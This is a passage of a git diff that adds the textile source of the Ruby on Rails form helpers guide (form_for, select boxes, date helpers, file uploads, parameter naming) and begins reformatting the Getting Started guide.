+  <%= label_tag(:age_adult, "I'm over 21") %>
+
+output:
+
+<input id="age_child" name="age" type="radio" value="child" />
+  <label for="age_child">I am younger than 21</label>
+<input id="age_adult" name="age" type="radio" value="adult" />
+  <label for="age_adult">I'm over 21</label>
+</erb>
+
+As with +check_box_tag+ the second parameter to +radio_button_tag+ is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one and +params[:age]+ will contain either "child" or "adult".
+
+IMPORTANT: Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region.
+
+h4. Other Helpers of Interest
+
+Other form controls worth mentioning are the text area, password input and hidden input:
+
+<erb>
+<%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %>
+<%= password_field_tag(:password) %>
+<%= hidden_field_tag(:parent_id, "5") %>
+
+output:
+
+<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
+<input id="password" name="password" type="password" />
+<input id="parent_id" name="parent_id" type="hidden" value="5" />
+</erb>
+
+Hidden inputs are not shown to the user, but they hold data like any textual input. Values inside them can be changed with JavaScript.
+
+TIP: If you're using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating +filter_parameter_logging(:password)+ in your ApplicationController.
+
+
+h3. Dealing with Model Objects
+
+h4. Model Object Helpers
+
+A particularly common task for a form is editing or creating a model object. While the +*_tag+ helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the <notextile>_tag</notextile> suffix, for example +text_field+, +text_area+.
+
+For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined +@person+ and that person's name is Henry then a form containing:
+
+<erb>
+<%= text_field(:person, :name) %>
+</erb>
+
+will produce output similar to
+
+<erb>
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+</erb>
+
+Upon form submission the value entered by the user will be stored in +params[:person][:name]+. The +params[:person]+ hash is suitable for passing to +Person.new+ or, if +@person+ is an instance of Person, +@person.update_attributes+. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a +name+ and a +name=+ method Rails will be happy.
+
+WARNING: You must pass the name of an instance variable, i.e. +:person+ or +"person"+, not an actual instance of your model object.
+
+Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the "Active Record Validations and Callbacks":./activerecord_validations_callbacks.html#_using_the_tt_errors_tt_collection_in_your_view_templates guide.
+
+h4. Binding a Form to an Object
+
+While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what +form_for+ does.
+
+Assume we have a controller for dealing with articles:
+
+articles_controller.rb:
+
+<ruby>
+def new
+  @article = Article.new
+end
+</ruby>
+
+The corresponding view using +form_for+ looks like this
+
+articles/new.html.erb:
+
+<erb>
+<% form_for :article, @article, :url => { :action => "create" }, :html => {:class => "nifty_form"} do |f| %>
+  <%= f.text_field :title %>
+  <%= f.text_area :body, :size => "60x12" %>
+  <%= submit_tag "Create" %>
+<% end %>
+</erb>
+
+There are a few things to note here:
+
+# +:article+ is the name of the model and +@article+ is the actual object being edited.
+# There is a single hash of options. Routing options are passed in the +:url+ hash, HTML options are passed in the +:html+ hash.
+# The +form_for+ method yields a *form builder* object (the +f+ variable).
+# Methods to create form controls are called *on* the form builder object +f+
+
+The resulting HTML is:
+
+<html>
+<form action="/articles/create" method="post" class="nifty_form">
+  <input id="article_title" name="article[title]" size="30" type="text" />
+  <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
+  <input name="commit" type="submit" value="Create" />
+</form>
+</html>
+
+The name passed to +form_for+ controls the key used in +params+ to access the form's values. Here the name is +article+ and so all the inputs have names of the form +article[<em>attribute_name</em>]+. Accordingly, in the +create+ action +params[:article]+ will be a hash with keys +:title+ and +:body+. You can read more about the significance of input names in the parameter_names section.
+
+The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.
+
+You can create a similar binding without actually creating  +&lt;form&gt;+ tags with the +fields_for+ helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:
+
+<erb>
+<% form_for :person, @person, :url => { :action => "create" } do |person_form| %>
+  <%= person_form.text_field :name %>
+  <% fields_for @person.contact_detail do |contact_details_form| %>
+    <%= contact_details_form.text_field :phone_number %>
+  <% end %>
+<% end %>
+</erb>
+
+which produces the following output:
+
+<html>
+<form action="/people/create" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" size="30" type="text" />
+  <input id="contact_detail_phone_number" name="contact_detail[phone_number]" size="30" type="text" />
+</form>
+</html>
+
+The object yielded by +fields_for+ is a form builder like the one yielded by +form_for+ (in fact +form_for+ calls +fields_for+ internally).
+
+h4. Relying on Record Identification
+
+The Article model is directly available to users of the application, so -- following the best practices for developing with Rails -- you should declare it *a resource*.
+
+When dealing with RESTful resources, calls to +form_for+ can get significantly easier if you rely on *record identification*. In short, you can just pass the model instance and have Rails figure out model name and the rest:
+
+<ruby>
+## Creating a new article
+# long-style:
+form_for(:article, @article, :url => articles_path)
+# same thing, short-style (record identification gets used):
+form_for(@article)
+
+## Editing an existing article
+# long-style:
+form_for(:article, @article, :url => article_path(@article), :method => "put")
+# short-style:
+form_for(@article)
+</ruby>
+
+Notice how the short-style +form_for+ invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking +record.new_record?+. It also selects the correct path to submit to and the name based on the class of the object.
+
+Rails will also automatically set the +class+ and +id+ of the form appropriately: a form creating an article would have +id+ and +class+ +new_article+. If you were editing the article with id 23, the +class+ would be set to +edit_article+ and the id to +edit_article_23+. These attributes will be omitted for brevity in the rest of this guide.
+
+WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, +:url+, and +:method+ explicitly.
+
+h5. Dealing with Namespaces
+
+If you have created namespaced routes, +form_for+ has a nifty shorthand for that too. If your application has an admin namespace then
+
+<ruby>
+form_for [:admin, @article]
+</ruby>
+
+will create a form that submits to the articles controller inside the admin namespace (submitting to +admin_article_path(@article)+ in the case of an update). If you have several levels of namespacing then the syntax is similar:
+
+<ruby>
+form_for [:admin, :management, @article]
+</ruby>
+
+For more information on Rails' routing system and the associated conventions, please see the "routing guide":./routing_outside_in.html.
+
+
+h4. How do forms with PUT or DELETE methods work?
+
+The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms.
+
+Rails works around this issue by emulating other methods over POST with a hidden input named +"_method"+, which is set to reflect the desired method:
+
+<ruby>
+form_tag(search_path, :method => "put")
+</ruby>
+
+output:
+
+<html>
+<form action="/search" method="post">
+  <div style="margin:0;padding:0">
+    <input name="_method" type="hidden" value="put" />
+    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+  </div>
+  ...
+</html>
+
+When parsing POSTed data, Rails will take into account the special +_method+ parameter and acts as if the HTTP method was the one specified inside it ("PUT" in this example).
+
+
+h3. Making Select Boxes with Ease
+
+Select boxes in HTML require a significant amount of markup (one +OPTION+ element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.
+
+Here is what the markup might look like:
+
+<html>
+<select name="city_id" id="city_id">
+  <option value="1">Lisbon</option>
+  <option value="2">Madrid</option>
+  ...
+  <option value="12">Berlin</option>
+</select>
+</html>
+
+Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here.
+
+h4. The Select and Option Tags
+
+The most generic helper is +select_tag+, which -- as the name implies -- simply generates the +SELECT+ tag that encapsulates an options string:
+
+<erb>
+<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
+</erb>
+
+This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the +options_for_select+ helper:
+
+<erb>
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
+
+output:
+
+<option value="1">Lisbon</option>
+<option value="2">Madrid</option>
+...
+</erb>
+
+The first argument to +options_for_select+ is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.
+
+Knowing this, you can combine +select_tag+ and +options_for_select+ to achieve the desired, complete markup:
+
+<erb>
+<%= select_tag(:city_id, options_for_select(...)) %>
+</erb>
+
++options_for_select+ allows you to pre-select an option by passing its value.
+
+<erb>
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
+
+output:
+
+<option value="1">Lisbon</option>
+<option value="2" selected="selected">Madrid</option>
+...
+</erb>
+
+Whenever Rails sees that the internal value of an option being generated matches this value, it will add the +selected+ attribute to that option.
+
+TIP: The second argument to +options_for_select+ must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to +options_for_select+ -- you must pass 2. Be aware of values extracted from the +params+ hash as they are all strings.
+
+h4. Select Boxes for Dealing with Models
+
+In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the +_tag+ suffix from +select_tag+:
+
+<ruby>
+# controller:
+@person = Person.new(:city_id => 2)
+</ruby>
+
+<erb>
+# view:
+<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
+</erb>
+
+Notice that the third parameter, the options array, is the same kind of argument you pass to +options_for_select+. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one -- Rails will do this for you by reading from the +@person.city_id+ attribute.
+
+As with other helpers, if you were to use the +select+ helper on a form builder scoped to the +@person+ object, the syntax would be:
+
+<erb>
+# select on a form builder
+<%= f.select(:city_id, ...) %>
+</erb>
+
+WARNING: If you are using +select+ (or similar helpers such as +collection_select+, +select_tag+) to set a +belongs_to+ association you must pass the name of the foreign key (in the example above +city_id+), not the name of association itself.  If you specify +city+ instead of +city_id+ Active Record will raise an error along the lines of <pre> ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) </pre> when you pass the +params+ hash to +Person.new+ or +update_attributes+. Another way of looking at this is that form helpers only edit attributes.  You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of +attr_protected+ and +attr_accessible+. For further details on this, see the "Ruby On Rails Security Guide":security.html#_mass_assignment.
+
+h4. Option Tags from a Collection of Arbitrary Objects
+
+Generating options tags with +options_for_select+ requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
+
+<erb>
+<% cities_array = City.all.map { |city| [city.name, city.id] } %>
+<%= options_for_select(cities_array) %>
+</erb>
+
+This is a perfectly valid solution, but Rails provides a less verbose alternative: +options_from_collection_for_select+. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option *value* and *text* from, respectively:
+
+<erb>
+<%= options_from_collection_for_select(City.all, :id, :name) %>
+</erb>
+
+As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with +select_tag+, just as you would with +options_for_select+. When working with model objects, just as +select+ combines +select_tag+ and +options_for_select+, +collection_select+ combines +select_tag+ with +options_from_collection_for_select+.
+
+<erb>
+<%= collection_select(:person, :city_id, City.all, :id, :name) %>
+</erb>
+
+To recap, +options_from_collection_for_select+ is to +collection_select+ what +options_for_select+ is to +select+.
+
+NOTE: Pairs passed to +options_for_select+ should have the name first and the id second, however with +options_from_collection_for_select+ the first argument is the value method and the second the text method.
+
+h4. Time Zone and Country Select
+
+To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using +collection_select+, but you can simply use the +time_zone_select+ helper that already wraps this:
+
+<erb>
+<%= time_zone_select(:person, :time_zone) %>
+</erb>
+
+There is also +time_zone_options_for_select+ helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.
+
+Rails _used_ to have a +country_select+ helper for choosing countries, but this has been extracted to the "country_select plugin":http://github.com/rails/country_select/tree/master. When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from rails).
+
+h3. Using Date and Time Form Helpers
+
+The date and time helpers differ from all the other form helpers in two important respects:
+
+# Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your +params+ hash with your date or time.
+# Other helpers use the +_tag+ suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, +select_date+, +select_time+ and +select_datetime+ are the barebones helpers, +date_select+, +time_select+ and +datetime_select+ are the equivalent model object helpers.
+
+Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).
+
+h4. Barebones Helpers
+
+The +select_*+ family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example
+
+<erb>
+<%= select_date Date.today, :prefix => :start_date %>
+</erb>
+
+outputs (with actual option values omitted for brevity)
+
+<html>
+<select id="start_date_year" name="start_date[year]"> ... </select>
+<select id="start_date_month" name="start_date[month]"> ... </select>
+<select id="start_date_day" name="start_date[day]"> ... </select>
+</html>
+
+The above inputs would result in +params[:start_date]+ being a hash with keys +:year+, +:month+, +:day+. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example
+
+<ruby>
+Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
+</ruby>
+
+The +:prefix+ option is the key used to retrieve the hash of date components from the +params+ hash. Here it was set to +start_date+, if omitted it will default to +date+.
+
+h4. Model Object Helpers
+
++select_date+ does not work well with forms that update or create Active Record objects as Active Record expects each element of the +params+ hash to correspond to one attribute.
+The model object helpers for dates and times submit parameters with special names,  when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:
+
+<erb>
+<%= date_select :person, :birth_date %>
+</erb>
+
+outputs (with actual option values omitted for brevity)
+
+<html>
+<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
+<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
+<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
+</html>
+
+which results in a +params+ hash like
+
+<ruby>
+{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
+</ruby>
+
+When this is passed to +Person.new+ (or +update_attributes+), Active Record spots that these parameters should all be used to construct the +birth_date+ attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as +Date.civil+.
+
+h4. Common Options
+
+Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the +:start_year+ and +:end_year+ options override this. For an exhaustive list of the available options, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html.
+
+As a rule of thumb you should be using +date_select+ when working with model objects and +select_date+ in other cases, such as a search form which filters results by date.
+
+NOTE: In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.
+
+h4. Individual Components
+
+Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component +select_year+, +select_month+, +select_day+, +select_hour+, +select_minute+, +select_second+. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for +select_year+, "month" for +select_month+ etc.) although this can be overriden with the  +:field_name+ option. The +:prefix+ option works in the same way that it does for +select_date+ and +select_time+ and has the same default value.
+
+The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example
+
+<erb>
+<%= select_year(2009) %>
+<%= select_year(Time.now) %>
+</erb>
+
+will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by +params[:date][:year]+.
+
+h3. Uploading Files
+
+A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the form's encoding *MUST* be set to "multipart/form-data". If you forget to do this the file will not be uploaded. This can be done by passing +:multi_part => true+ as an HTML option. This means that in the case of +form_tag+ it must be passed in the second options hash and in the case of +form_for+ inside the +:html+ hash.
+
+The following two forms both upload a file.
+
+<erb>
+<% form_tag({:action => :upload}, :multipart => true) do %>
+  <%= file_field_tag 'picture' %>
+<% end %>
+
+<% form_for @person, :html => {:multipart => true} do |f| %>
+  <%= f.file_field :picture %>
+<% end %>
+</erb>
+
+Rails provides the usual pair of helpers: the barebones +file_field_tag+ and the model oriented +file_field+. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in +params[:picture]+ and in the second case in +params[:person][:picture]+.
+
+h4. What Gets Uploaded
+
+The object in the +params+ hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an +original_filename+ attribute containing the name the file had on the user's computer and a +content_type+ attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in +#{Rails.root}/public/uploads+ under the same name as the original file (assuming the form was the one in the previous example).
+
+<ruby>
+def upload
+  uploaded_io = params[:person][:picture]
+  File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|
+    file.write(uploaded_io.read)
+  end
+end
+</ruby>
+
+Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several plugins designed to assist with these. Two of the better known ones are "Attachment-Fu":http://github.com/technoweenie/attachment_fu and "Paperclip":http://www.thoughtbot.com/projects/paperclip.
+
+NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
+
+h4. Dealing with Ajax
+
+Unlike other forms making an asynchronous file upload form is not as simple as replacing +form_for+ with +remote_form_for+. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.
+
+h3. Customising Form Builders
+
+As mentioned previously the object yielded by +form_for+ and +fields_for+ is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example
+
+<erb>
+<% form_for @person do |f| %>
+  <%= text_field_with_label f, :first_name %>
+<% end %>
+</erb>
+
+can be replaced with
+
+<erb>
+<% form_for @person, :builder => LabellingFormBuilder do |f| %>
+  <%= f.text_field :first_name %>
+<% end %>
+</erb>
+
+by defining a LabellingFormBuilder class similar to the following:
+
+<ruby>
+class LabellingFormBuilder < ActionView::Helpers::FormBuilder
+  def text_field(attribute, options={})
+    label(attribute) + super
+  end
+end
+</ruby>
+
+If you reuse this frequently you could define a +labeled_form_for+ helper that automatically applies the +:builder => LabellingFormBuilder+ option.
+
+The form builder used also determines what happens when you do
+
+<erb>
+<%= render :partial => f %>
+</erb>
+
+If +f+ is an instance of FormBuilder then this will render the +form+ partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the +labelling_form+ partial would be rendered instead.
+
+h3. Understanding Parameter Naming Conventions
+
+As you've seen in the previous sections, values from forms can be at the top level of the +params+ hash or nested in another hash. For example in a standard +create+
+action for a Person model, +params[:model]+ would usually be a hash of all the attributes for the person to create. The +params+ hash can also contain arrays, arrays of hashes and so on.
+
+Fundamentally HTML forms don't know about any sort of structured data, all they generate is name–value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.
+
+TIP: You may find you can try out examples in this section faster by using the console to directly invoke Rails' parameter parser. For example <pre> ActionController::UrlEncodedPairParser.parse_query_parameters "name=fred&phone=0123456789" # => {"name"=>"fred", "phone"=>"0123456789"} </pre>
+
+h4. Basic Structures
+
+The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in +params+. For example if a form contains
+
+<html>
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+</html>
+
+the +params+ hash will contain
+
+<erb>
+{'person' => {'name' => 'Henry'}}
+</erb>
+
+and +params["name"]+ will retrieve the submitted value in the controller.
+
+Hashes can be nested as many levels as required, for example
+
+<html>
+<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
+</html>
+
+will result in the +params+ hash being
+
+<ruby>
+{'person' => {'address' => {'city' => 'New York'}}}
+</ruby>
+
+Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, you could place this in the form:
+
+<html>
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+</html>
+
+This would result in +params[:person][:phone_number]+ being an array.
+
+h4. Combining Them
+
+We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment
+
+<html>
+<input name="addresses[][line1]" type="text"/>
+<input name="addresses[][line2]" type="text"/>
+<input name="addresses[][city]" type="text"/>
+</html>
+
+This would result in +params[:addresses]+ being an array of hashes with keys +line1+, +line2+ and +city+. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.
+
+There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter.
+
+WARNING: Array parameters do not play well with the +check_box+ helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The +check_box+ helper fakes this by creating a second hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use +check_box_tag+ or to use hashes instead of arrays.
+
+h4. Using Form Helpers
+
+The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as +text_field_tag+ Rails also provides higher level support. The two tools at your disposal here are the name parameter to +form_for+ and +fields_for+ and the +:index+ option that helpers take.
+
+You might want to render a form with a set of edit fields for each of a person's addresses. For example:
+
+<erb>
+<% form_for @person do |person_form| %>
+  <%= person_form.text_field :name %>
+  <% for address in @person.addresses %>
+    <% person_form.fields_for address, :index => address do |address_form|%>
+      <%= address_form.text_field :city %>
+    <% end %>
+  <% end %>
+<% end %>
+</erb>
+
+Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this:
+
+<html>
+<form action="/people/1" class="edit_person" id="edit_person_1" method="post">
+  <input id="person_name" name="person[name]" size="30" type="text" />
+  <input id="person_address_23_city" name="person[address][23][city]" size="30" type="text" />
+  <input id="person_address_45_city" name="person[address][45][city]" size="30" type="text" />
+</form>
+</html>
+
+This will result in a +params+ hash that looks like
+
+<ruby>
+{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
+</ruby>
+
+Rails knows that all these inputs should be part of the person hash because you called +fields_for+ on the first form builder. By specifying an +:index+ option you're telling rails that instead of naming the inputs +person[address][city]+ it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call +to_param+ on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even +nil+ (which will result in an array parameter being created).
+
+To create more intricate nestings, you can specify the first part of the input name (+person[address]+ in the previous example) explicitly, for example
+
+<erb>
+<% fields_for 'person[address][primary]', address, :index => address do |address_form| %>
+  <%= address_form.text_field :city %>
+<% end %>
+</erb>
+
+will create inputs like
+
+<html>
+<input id="person_address_primary_1_city" name="person[address][primary][1][city]" size="30" type="text" value="bologna" />
+</html>
+
+As a general rule the final input name is the concatenation of the name given to +fields_for+/+form_for+, the index value and the name of the attribute. You can also pass an +:index+ option directly to helpers such as +text_field+, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.
+
+As a shortcut you can append [] to the name and omit the +:index+ option. This is the same as specifing +:index => address+ so
+
+<erb>
+<% fields_for 'person[address][primary][]', address do |address_form| %>
+  <%= address_form.text_field :city %>
+<% end %>
+</erb>
+
+produces exactly the same output as the previous example.
+
+h3. Building Complex Forms
+
+Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. While this guide has shown you all the pieces necessary to handle this, Rails does not yet have a standard end-to-end way of accomplishing this, but many have come up with viable approaches. These include:
+
+* Ryan Bates' series of railscasts on "complex forms":http://railscasts.com/episodes/75
+* Handle Multiple Models in One Form from "Advanced Rails Recipes":http://media.pragprog.com/titles/fr_arr/multiple_models_one_form.pdf
+* Eloy Duran's "nested_params":http://github.com/alloy/complex-form-examples/tree/alloy-nested_params plugin
+* Lance Ivy's "nested_assignment":http://github.com/cainlevy/nested_assignment/tree/master plugin and "sample application":http://github.com/cainlevy/complex-form-examples/tree/cainlevy
+* James Golick's "attribute_fu":http://github.com/giraffesoft/attribute_fu/tree plugin
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/1
+
+h3. Authors
+
+* Mislav Marohnić <mislav.marohnic@gmail.com>
+* "Frederick Cheung":credits.html#fcheung
diff --git a/vendor/rails/railties/doc/guides/source/getting_started_with_rails.txt b/vendor/rails/railties/guides/source/getting_started.textile
similarity index 62%
rename from vendor/rails/railties/doc/guides/source/getting_started_with_rails.txt
rename to vendor/rails/railties/guides/source/getting_started.textile
index bae8f9a4..97f141b5 100644
--- a/vendor/rails/railties/doc/guides/source/getting_started_with_rails.txt
+++ b/vendor/rails/railties/guides/source/getting_started.textile
@@ -1,40 +1,43 @@
-Getting Started With Rails
-==========================
+h2. Getting Started with Rails
 
-This guide covers getting up and running with Ruby on Rails.  After reading it, you should be familiar with:
+This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with:
 
 * Installing Rails, creating a new Rails application, and connecting your application to a database
 * The general layout of a Rails application
 * The basic principles of MVC (Model, View Controller) and RESTful design
 * How to quickly generate the starting pieces of a Rails application.
 
-== This Guide Assumes
+endprologue.
+
+WARNING. This Guide is based on Rails 2.3. Some of the code shown here will not work in older versions of Rails.
+
+h3. This Guide Assumes
 
 This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed:
 
-* The link:http://www.ruby-lang.org/en/downloads/[Ruby] language
-* The link:http://rubyforge.org/frs/?group_id=126[RubyGems] packaging system
-* A working installation of link:http://www.sqlite.org/[SQLite] (preferred), link:http://www.mysql.com/[MySQL], or link:http://www.postgresql.org/[PostgreSQL]
+* The "Ruby":http://www.ruby-lang.org/en/downloads language
+* The "RubyGems":http://rubyforge.org/frs/?group_id=126 packaging system
+* A working installation of "SQLite":http://www.sqlite.org (preferred), "MySQL":http://www.mysql.com, or "PostgreSQL":http://www.postgresql.org
 
-It is highly recommended that you *familiarize yourself with Ruby before diving into Rails*. You will find it much easier to follow what's going on with a Rails application if you understand basic Ruby syntax. Rails isn't going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the net for learning Ruby, including:
+It is highly recommended that you *familiarize yourself with Ruby before diving into Rails*. You will find it much easier to follow what’s going on with a Rails application if you understand basic Ruby syntax. Rails isn’t going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the internet for learning Ruby, including:
 
-* link:http://www.humblelittlerubybook.com/[Mr. Neigborly’s Humble Little Ruby Book]
-* link:http://www.rubycentral.com/book/[Programming Ruby]
-* link:http://poignantguide.net/ruby/[Why's (Poignant) Guide to Ruby]
+* "Mr. Neighborly’s Humble Little Ruby Book":http://www.humblelittlerubybook.com
+* "Programming Ruby":http://www.rubycentral.com/book
+* "Why’s (Poignant) Guide to Ruby":http://poignantguide.net/ruby/
 
-== What is Rails?
+h3. What is Rails?
 
 Rails is a web development framework written in the Ruby language. It is designed to make programming web applications easier by making several assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Longtime Rails developers also report that it makes web application development more fun.
 
-Rails is _opinionated software_. That is, it assumes that there is a best way to do things, and it's designed to encourage that best way - and in some cases discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.
+Rails is opinionated software. That is, it assumes that there is a best way to do things, and it’s designed to encourage that best way - and in some cases to discourage alternatives. If you learn "The Rails Way" you’ll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.
 
 The Rails philosophy includes several guiding principles:
 
-* DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
-* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to do it, rather than letting you tweak every little thing through endless configuration files.
+* DRY - "Don’t Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
+* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you’re going to do it, rather than letting you tweak every little thing through endless configuration files.
 * REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs is the fastest way to go.
 
-=== The MVC Architecture
+h4. The MVC Architecture
 
 Rails is organized around the Model, View, Controller architecture, usually just called MVC. MVC benefits include:
 
@@ -42,19 +45,19 @@ Rails is organized around the Model, View, Controller architecture, usually just
 * Ease of keeping code DRY
 * Making it clear where different types of code belong for easier maintenance
 
-==== Models
+h5. Models
 
-A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application's business logic will be concentrated in the models.
